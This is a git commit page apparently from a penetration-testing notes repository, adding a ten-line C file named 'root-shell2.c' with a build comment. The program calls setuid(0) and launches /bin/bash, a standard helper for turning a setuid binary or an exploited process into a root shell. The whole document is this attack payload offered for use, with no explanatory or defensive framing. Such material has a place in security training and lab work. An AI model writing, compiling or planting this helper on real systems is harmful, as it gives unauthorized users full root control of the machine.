Add example c root-shells
This commit is contained in:
10
Miscellaneous/source-code/c-linux/root-shell2.c
Normal file
10
Miscellaneous/source-code/c-linux/root-shell2.c
Normal file
@@ -0,0 +1,10 @@
|
||||
// $ gcc -o root-shell2 root-shell2.c
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
execl("/bin/bash", "bash", (char *)NULL);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user